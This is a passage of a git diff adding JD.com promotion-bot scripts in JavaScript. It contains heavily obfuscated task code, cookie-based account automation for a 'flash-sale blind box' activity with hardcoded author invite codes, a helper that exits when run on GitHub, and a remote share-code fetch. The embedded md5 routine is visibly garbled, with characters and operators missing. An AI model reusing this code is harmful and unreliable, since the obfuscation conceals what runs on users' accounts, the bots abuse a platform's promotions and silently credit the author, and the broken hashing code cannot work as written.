1dd6a5));}}}}}catch(_0x330ef8){$[_0x5c3d('327',')4(@')](_0x330ef8,_0x4c2cfe);}finally{_0x162440['bsMVx'](_0x4fdd05);}}});});}async function doAppTask(_0x5dc9db='1'){var _0x24594b={'mXfhN':_0x5c3d('328','lR53'),'hQStI':function(_0x44e700,_0x5ca729,_0x14dcd2,_0x3e29f9){return _0x44e700(_0x5ca729,_0x14dcd2,_0x3e29f9);},'jVhOM':'getCcTaskList','mgzyY':_0x5c3d('329','lR53'),'CrwZj':function(_0x2d412d,_0x532632,_0x549e72,_0x512387){return _0x2d412d(_0x532632,_0x549e72,_0x512387);}};let _0x2c2d84={'pageClickKey':_0x5c3d('32a','pqb('),'childActivityUrl':_0x24594b[_0x5c3d('32b','1xX6')],'lat':'','globalLat':'','lng':'','globalLng':''};await _0x24594b[_0x5c3d('32c','QeIx')](getCcTaskList,_0x24594b['jVhOM'],_0x2c2d84,_0x5dc9db);_0x2c2d84={'globalLng':'','globalLat':'','monitorSource':'ccgroup_ios_index_task','monitorRefer':'','taskType':'1','childActivityUrl':_0x5c3d('32d','DI]G'),'pageClickKey':_0x24594b[_0x5c3d('32e','afg[')],'lat':'','taskId':_0x5c3d('32f','SI!Z'),'lng':''};await $[_0x5c3d('330','s%P1')](0x2904);await _0x24594b['CrwZj'](getCcTaskList,_0x5c3d('331','OghG'),_0x2c2d84,_0x5dc9db);}function getCcTaskList(_0xc3ff0a,_0x2374b3,_0x4f75cc='1'){var _0x1d4147={'ssSwU':_0x5c3d('332','(S7p'),'MNtWa':'hasSendNumber','cUVqh':'assistants','HQbwN':function(_0x5ad9b1,_0x2032cc){return _0x5ad9b1(_0x2032cc);},'pGvhX':_0x5c3d('333','NJq]'),'qXgWt':'PmkhB','uJsqL':'ZEBou','rxjdw':'getCcTaskList','SOfCH':function(_0x4c4175,_0x9d81ea){return _0x4c4175===_0x9d81ea;},'BbEaB':_0x5c3d('334','o7vD'),'KwxqA':function(_0x17c825,_0x20e7b5){return _0x17c825!==_0x20e7b5;},'woXdF':'TuOnv','TuNAW':_0x5c3d('335','RJ[D'),'tPWLb':function(_0x1eac18,_0x427815){return _0x1eac18(_0x427815);},'Owrll':function(_0x5c1f32,_0x606adf){return _0x5c1f32(_0x606adf);},'tNLwl':'application/json,\x20text/plain,\x20*/*','AMSCM':_0x5c3d('336','$lyO'),'EWTON':'zh-cn','vGUdI':'keep-alive','mGCLo':_0x5c3d('337','I($f'),'GyDUe':'https://h5.m.jd.com','jdOlv':_0x5c3d('338','J(]D'),'AcdpN':_0x5c3d('339','lR53'),'Wojio':_0x5c3d('33a','p4$W')};let _0x5c7395='';return new Promise(_0x255188=>{var _0x1f300a={'fyhOR':_0x1d4147[_0x5c3d('33b','pqb(')],'lQwmV':_0x5c3d('33c','inWv'),'WNLau':_0x1d4147[_0x5c3d('33d','4%Cg')],'hrQuN':_0x1d4147['cUVqh'],'SsPRb':function(_0xa4479f,_0x4d8cf0){return _0x1d4147[_0x5c3d('33e','p4$W')](_0xa4479f,_0x4d8cf0);},'SQWEn':_0x1d4147[_0x5c3d('33f','n@nG')],'PndHZ':function(_0x586b27,_0x59a869){return _0x586b27===_0x59a869;},'KoPGq':_0x1d4147[_0x5c3d('340','XpI[')],'gETOZ':_0x5c3d('341',']loZ'),'VUfQG':_0x1d4147[_0x5c3d('342','GEp&')]};if(_0xc3ff0a===_0x1d4147[_0x5c3d('343','Vm#Z')]){_0x5c7395='https://api.m.jd.com/client.action?functionId='+_0xc3ff0a+_0x5c3d('344','XpI[')+_0x1d4147[_0x5c3d('33e','p4$W')](escape,JSON[_0x5c3d('1aa','qi!x')](_0x2374b3))+_0x5c3d('345','DI]G');}else if(_0x1d4147[_0x5c3d('346','1xX6')](_0xc3ff0a,_0x1d4147[_0x5c3d('347','GR%&')])){if(_0x1d4147['KwxqA'](_0x1d4147['woXdF'],_0x1d4147[_0x5c3d('348',']G5@')])){_0x5c7395=_0x5c3d('349','m0Q1')+_0xc3ff0a+_0x5c3d('34a','8ye]')+_0x1d4147[_0x5c3d('34b','Jnb7')](escape,JSON['stringify'](_0x2374b3))+_0x5c3d('34c','P3j6');}else{const _0x557ef4=$[_0x5c3d('34d','afg[')][_0x1f300a[_0x5c3d('34e','QeIx')]][_0x1f300a[_0x5c3d('34f','DI]G')]][_0x5c3d('350','$lyO')]||[];$['hasSendNumber']=$['h5activityIndex'][_0x5c3d('157','I($f')][_0x1f300a[_0x5c3d('351','pqb(')]][_0x1f300a[_0x5c3d('352','p4$W')]];if($['h5activityIndex'][_0x5c3d('353','s2t@')]['result'][_0x1f300a[_0x5c3d('354','DI]G')]]){$['assistants']=$['h5activityIndex'][_0x5c3d('122','dECe')][_0x1f300a[_0x5c3d('355','oaTe')]][_0x1f300a[_0x5c3d('356','$lyO')]][_0x5c3d('357','lR53')]||0x0;}}}const _0x49ddb5={'url':_0x5c7395,'body':_0x5c3d('358','DI]G')+_0x1d4147[_0x5c3d('359','oaTe')](escape,JSON[_0x5c3d('35a','oaTe')](_0x2374b3)),'headers':{'Accept':_0x1d4147[_0x5c3d('35b','m)@n')],'Accept-Encoding':_0x1d4147[_0x5c3d('35c','RJ[D')],'Accept-Language':_0x1d4147[_0x5c3d('35d','4%Cg')],'Connection':_0x1d4147[_0x5c3d('35e','@YZ@')],'Content-Length':'63','Content-Type':_0x5c3d('35f','piza'),'Host':_0x1d4147['mGCLo'],'Origin':_0x1d4147['GyDUe'],'Cookie':cookie,'Referer':'https://h5.m.jd.com/babelDiy/Zeus/4ZK4ZpvoSreRB92RRo8bpJAQNoTq/index.html','User-Agent':$[_0x5c3d('360','lR53')]()?process[_0x5c3d('361','qt1B')][_0x5c3d('362','afg[')]?process[_0x5c3d('305','1xX6')][_0x5c3d('363','o%Hs')]:require(_0x1d4147[_0x5c3d('364','I($f')])[_0x5c3d('365',')4(@')]:$[_0x5c3d('366','8ye]')](_0x1d4147[_0x5c3d('367','SI!Z')])?$['getdata'](_0x1d4147[_0x5c3d('368','Vm#Z')]):_0x1d4147[_0x5c3d('369','NJq]')]}};$[_0x5c3d('36a','o7vD')](_0x49ddb5,async(_0x77d0b0,_0x4b4e13,_0x395ac5)=>{var _0x4d439d={'jzRda':function(_0x18145d,_0x4e0861){return _0x1f300a['SsPRb'](_0x18145d,_0x4e0861);},'EqNmc':_0x5c3d('36b','m)@n'),'BPizI':_0x1f300a[_0x5c3d('36c','inWv')],'gzTpY':_0x1f300a['fyhOR']};if(_0x1f300a['PndHZ'](_0x1f300a[_0x5c3d('36d','pqb(')],_0x5c3d('36e','fCgc'))){try{if(_0x77d0b0){console[_0x5c3d('47','o7vD')](''+JSON[_0x5c3d('d8',']loZ')](_0x77d0b0));console['log']($[_0x5c3d('250','o7vD')]+'\x20API请求失败,请检查网路重试');}else{if(_0x395ac5){if(_0x1f300a[_0x5c3d('36f','XpI[')](_0x4f75cc,'1')&&_0x1f300a['PndHZ'](_0xc3ff0a,'reportCcTask'))console['log'](_0x5c3d('370','f$@p')+_0x395ac5);}}}catch(_0x42e673){if(_0x1f300a['gETOZ']!=='bFxbc'){_0x4d439d[_0x5c3d('371','1xX6')](_0x255188,_0x395ac5);}else{$[_0x5c3d('372','f$@p')](_0x42e673,_0x4b4e13);}}finally{if(_0x1f300a['VUfQG']!==_0x1f300a[_0x5c3d('373','Ykax')]){$['assistants']=$[_0x5c3d('374','1xX6')][_0x5c3d('375','qi!x')][_0x1f300a[_0x5c3d('355','oaTe')]][_0x1f300a[_0x5c3d('356','$lyO')]]['length']||0x0;}else{_0x255188();}}}else{console[_0x5c3d('159','$[C2')](_0x5c3d('376','8ye]')+_0x395ac5[_0x5c3d('155',']G5@')][_0x4d439d[_0x5c3d('377','P3j6')]][_0x4d439d[_0x5c3d('378',']G5@')]]);$[_0x5c3d('379','96*f')][_0x5c3d('37a','GR%&')](_0x395ac5[_0x4d439d['gzTpY']][_0x4d439d[_0x5c3d('37b','lR53')]][_0x5c3d('37c','KKA&')]);}});});}function getAuthorShareCode(_0x353afa=_0x5c3d('37d','o%Hs')){var _0xc12a3c={'flshv':function(_0x310145,_0x4c555b){return _0x310145!==_0x4c555b;},'hsAMY':_0x5c3d('37e',']G5@'),'SNqTL':_0x5c3d('37f','Jnb7'),'SILaA':_0x5c3d('380','oaTe'),'bAway':_0x5c3d('381','8ye]'),'VFwEy':'Mozilla/5.0\x20(iPhone;\x20CPU\x20iPhone\x20OS\x2013_2_3\x20like\x20Mac\x20OS\x20X)\x20AppleWebKit/605.1.15\x20(KHTML,\x20like\x20Gecko)\x20Version/13.0.3\x20Mobile/15E148\x20Safari/604.1\x20Edg/87.0.4280.88','jlwzL':function(_0x164785,_0x156390){return _0x164785(_0x156390);},'Zfigs':'tunnel','ejnJi':function(_0x1446aa,_0x28d553){return _0x1446aa*_0x28d553;}};return new Promise(_0xa212ba=>{var _0x369d0e={'jZHSQ':function(_0x77e22a,_0x394ba2){return _0xc12a3c[_0x5c3d('382','n@nG')](_0x77e22a,_0x394ba2);},'JaNEQ':_0xc12a3c['hsAMY'],'NhTNy':_0xc12a3c[_0x5c3d('383','wc[h')],'jHGgI':_0xc12a3c[_0x5c3d('384','m0Q1')],'aSZoh':function(_0xfa5bbc,_0x510a77){return _0xfa5bbc!==_0x510a77;},'mKFns':_0xc12a3c['bAway']};const _0x1f09e6={'url':_0x353afa+'?'+new Date(),'timeout':0x2710,'headers':{'User-Agent':_0xc12a3c[_0x5c3d('385','J(]D')]}};if($[_0x5c3d('386','qi!x')]()&&process[_0x5c3d('387','8ye]')][_0x5c3d('388','QeIx')]&&process['env'][_0x5c3d('389','#g!5')]){const _0x317df7=_0xc12a3c[_0x5c3d('38a','n@nG')](require,_0xc12a3c[_0x5c3d('38b','s2t@')]);const _0xe378a3={'https':_0x317df7[_0x5c3d('38c','#g!5')]({'proxy':{'host':process[_0x5c3d('38d','$lyO')][_0x5c3d('38e','DI]G')],'port':_0xc12a3c[_0x5c3d('38f','GEp&')](process[_0x5c3d('390','n@nG')][_0x5c3d('391','pqb(')],0x1)}})};Object[_0x5c3d('392','qt1B')](_0x1f09e6,{'agent':_0xe378a3});}$[_0x5c3d('393','o7vD')](_0x1f09e6,async(_0x3bd83,_0xe91b83,_0x4b5727)=>{if(_0x369d0e[_0x5c3d('394','QeIx')](_0x369d0e[_0x5c3d('395',']loZ')],_0x5c3d('396','qt1B'))){if(_0x3bd83){console[_0x5c3d('17a','KKA&')]('\x0a'+$['name']+_0x5c3d('397','m)@n'));console['log'](JSON[_0x5c3d('a9','7De#')](_0x3bd83));}else{_0x4b5727=JSON[_0x5c3d('398','KKA&')](_0x4b5727);}}else{try{if(_0x3bd83){}else{if(_0x369d0e[_0x5c3d('399','pqb(')]===_0x369d0e['jHGgI']){if(_0x3bd83){console[_0x5c3d('2c4','f$@p')]('\x0a'+$[_0x5c3d('39a','NJq]')]+_0x5c3d('39b','o%Hs'));console['log'](JSON[_0x5c3d('248','QeIx')](_0x3bd83));}else{console[_0x5c3d('202','Vm#Z')](_0x5c3d('39c',']G5@')+_0x4b5727);_0x4b5727=JSON['parse'](_0x4b5727);}}else{if(_0x4b5727)_0x4b5727=JSON['parse'](_0x4b5727);}}}catch(_0x5f1826){}finally{if(_0x369d0e['aSZoh'](_0x369d0e[_0x5c3d('39d','NJq]')],_0x369d0e[_0x5c3d('39e','QeIx')])){$[_0x5c3d('39f','(S7p')](e,_0xe91b83);}else{_0xa212ba(_0x4b5727);}}}});});}function taskUrl(_0x175cd6,_0x300a9f){var _0x50f081={'IGOfn':function(_0xda5f5f,_0x1a7ab9){return _0xda5f5f*_0x1a7ab9;},'lAZbU':_0x5c3d('3a0','n@nG'),'IxlIf':_0x5c3d('3a1','sEZ['),'eoOQF':'gzip,\x20deflate,\x20br','mlojz':'keep-alive','akXzH':_0x5c3d('3a2','DI]G'),'gLwEl':function(_0x53956b,_0x478649){return _0x53956b(_0x478649);},'fazKK':'JDUA','DTiEG':_0x5c3d('33a','p4$W'),'PKOHb':_0x5c3d('3a3','s2t@')};return{'url':JD_API_HOST+_0x5c3d('3a4','4%Cg')+_0x175cd6+'&loginType=2&client=jd_mp_h5&t='+_0x50f081[_0x5c3d('3a5','o7vD')](new Date()[_0x5c3d('2df','p4$W')](),0x3e8),'body':'body='+JSON['stringify'](_0x300a9f),'headers':{'Host':_0x50f081[_0x5c3d('3a6','@YZ@')],'Content-Type':_0x50f081[_0x5c3d('3a7','GEp&')],'Origin':_0x5c3d('3a8','DI]G'),'Accept-Encoding':_0x50f081[_0x5c3d('3a9','f$@p')],'Cookie':cookie,'Connection':_0x50f081[_0x5c3d('3aa','GR%&')],'Accept':_0x50f081[_0x5c3d('3ab','o%Hs')],'User-Agent':$[_0x5c3d('3ac','oaTe')]()?process['env'][_0x5c3d('3ad','(S7p')]?process[_0x5c3d('3ae','Ykax')][_0x5c3d('3af','XpI[')]:_0x50f081[_0x5c3d('3b0','oaTe')](require,_0x5c3d('2e7','KKA&'))[_0x5c3d('3b1','Vm#Z')]:$[_0x5c3d('3b2','o%Hs')](_0x50f081[_0x5c3d('3b3','piza')])?$['getdata'](_0x5c3d('3b4','OghG')):_0x50f081['DTiEG'],'Referer':_0x50f081['PKOHb'],'Content-Length':'36','Accept-Language':'zh-cn'}};};_0xode='jsjiami.com.v6';
+
+
+function TotalBean() {
+ return new Promise(async resolve => {
+ const options = {
+ url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion",
+ headers: {
+ Host: "me-api.jd.com",
+ Accept: "*/*",
+ Connection: "keep-alive",
+ Cookie: cookie,
+ "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"),
+ "Accept-Language": "zh-cn",
+ "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&",
+ "Accept-Encoding": "gzip, deflate, br"
+ }
+ }
+ $.get(options, (err, resp, data) => {
+ try {
+ if (err) {
+ $.logErr(err)
+ } else {
+ if (data) {
+ data = JSON.parse(data);
+ if (data['retcode'] === "1001") {
+ $.isLogin = false; //cookie过期
+ return;
+ }
+ if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) {
+ $.nickName = data.data.userInfo.baseInfo.nickname;
+ }
+ } else {
+ $.log('京东服务器返回空数据');
+ }
+ }
+ } catch (e) {
+ $.logErr(e)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+
+function jsonParse(str) {
+ if (typeof str == "string") {
+ try {
+ return JSON.parse(str);
+ } catch (e) {
+ console.log(e);
+ $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie')
+ return [];
+ }
+ }
+}
+// prettier-ignore
+// md5
+!function(n){function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255)}return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1){u[r]=909522486^o[r],c[r]=1549556828^o[r]}return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t)}return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A}(this);
+function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)}
diff --git a/Task/jd_sgmh.js b/Task/jd_sgmh.js
new file mode 100644
index 0000000..700025b
--- /dev/null
+++ b/Task/jd_sgmh.js
@@ -0,0 +1,393 @@
+/*
+闪购盲盒
+长期活动,一人每天5次助力机会,10次被助机会,被助力一次获得一次抽奖机会,前几次必中京豆
+修改自 @yangtingxiao 抽奖机脚本
+活动入口:京东APP首页-闪购-闪购盲盒
+网页地址:https://h5.m.jd.com/babelDiy/Zeus/3vzA7uGuWL2QeJ5UeecbbAVKXftQ/index.html
+更新地址:jd_sgmh.js
+已支持IOS双京东账号, Node.js支持N个京东账号
+脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js
+============Quantumultx===============
+[task_local]
+#闪购盲盒
+20 8 * * * jd_sgmh.js, tag=闪购盲盒, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true
+
+================Loon==============
+[Script]
+cron "20 8 * * *" script-path=jd_sgmh.js, tag=闪购盲盒
+
+===============Surge=================
+闪购盲盒 = type=cron,cronexp="20 8 * * *",wake-system=1,timeout=3600,script-path=jd_sgmh.js
+
+============小火箭=========
+闪购盲盒 = type=cron,script-path=jd_sgmh.js, cronexpr="20 8 * * *", timeout=3600, enable=true
+
+ */
+const $ = new Env('闪购盲盒');
+//Node.js用户请在jdCookie.js处填写京东ck;
+const jdCookieNode = $.isNode() ? require('./jdCookie.js') : '';
+let appId = '1EFRXxg' , homeDataFunPrefix = 'interact_template', collectScoreFunPrefix = 'harmony', message = ''
+let lotteryResultFunPrefix = homeDataFunPrefix, browseTime = 6
+const inviteCodes = [
+ 'T019-aknAFRllhyoQlyI46gCjVQmoaT5kRrbA@T010_aU6SR8Q_QCjVQmoaT5kRrbA@T0225KkcRhcbp1CBJhv0wfZedQCjVQmoaT5kRrbA@T027Zm_olqSxIOtH97BATGmKoWraLawCjVQmoaT5kRrbA',
+ 'T019-aknAFRllhyoQlyI46gCjVQmoaT5kRrbA@T010_aU6SR8Q_QCjVQmoaT5kRrbA@T027Zm_olqSxIOtH97BATGmKoWraLawCjVQmoaT5kRrbA@T0225KkcRk1N_FeCJhv3xvdfcQCjVQmoaT5kRrbA'
+];
+const randomCount = $.isNode() ? 20 : 5;
+const notify = $.isNode() ? require('./sendNotify') : '';
+let merge = {}
+//IOS等用户直接用NobyDa的jd cookie
+let cookiesArr = [], cookie = '';
+if ($.isNode()) {
+ Object.keys(jdCookieNode).forEach((item) => {
+ cookiesArr.push(jdCookieNode[item])
+ })
+ if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {};
+} else {
+ cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item);
+}
+
+const JD_API_HOST = `https://api.m.jd.com/client.action`;
+!(async () => {
+ if (!cookiesArr[0]) {
+ $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"});
+ return;
+ }
+ await requireConfig();
+ for (let i = 0; i < cookiesArr.length; i++) {
+ cookie = cookiesArr[i];
+ if (cookie) {
+ $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1])
+ $.index = i + 1;
+ $.isLogin = true;
+ $.nickName = '';
+ $.beans = 0
+ message = ''
+ await TotalBean();
+ await shareCodesFormat();
+ console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`);
+ if (!$.isLogin) {
+ $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"});
+
+ if ($.isNode()) {
+ await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`);
+ }
+ continue
+ }
+ await interact_template_getHomeData()
+ await showMsg();
+ }
+ }
+})()
+ .catch((e) => $.logErr(e))
+ .finally(() => $.done())
+//获取活动信息
+function interact_template_getHomeData(timeout = 0) {
+ return new Promise((resolve) => {
+ setTimeout( ()=>{
+ let url = {
+ url : `${JD_API_HOST}`,
+ headers : {
+ 'Origin' : `https://h5.m.jd.com`,
+ 'Cookie' : cookie,
+ 'Connection' : `keep-alive`,
+ 'Accept' : `application/json, text/plain, */*`,
+ 'Referer' : `https://h5.m.jd.com/babelDiy/Zeus/2WBcKYkn8viyxv7MoKKgfzmu7Dss/index.html`,
+ 'Host' : `api.m.jd.com`,
+ 'Accept-Encoding' : `gzip, deflate, br`,
+ 'Accept-Language' : `zh-cn`
+ },
+ body : `functionId=${homeDataFunPrefix}_getHomeData&body={"appId":"${appId}","taskToken":""}&client=wh5&clientVersion=1.0.0`
+ }
+
+ $.post(url, async (err, resp, data) => {
+ try {
+ data = JSON.parse(data);
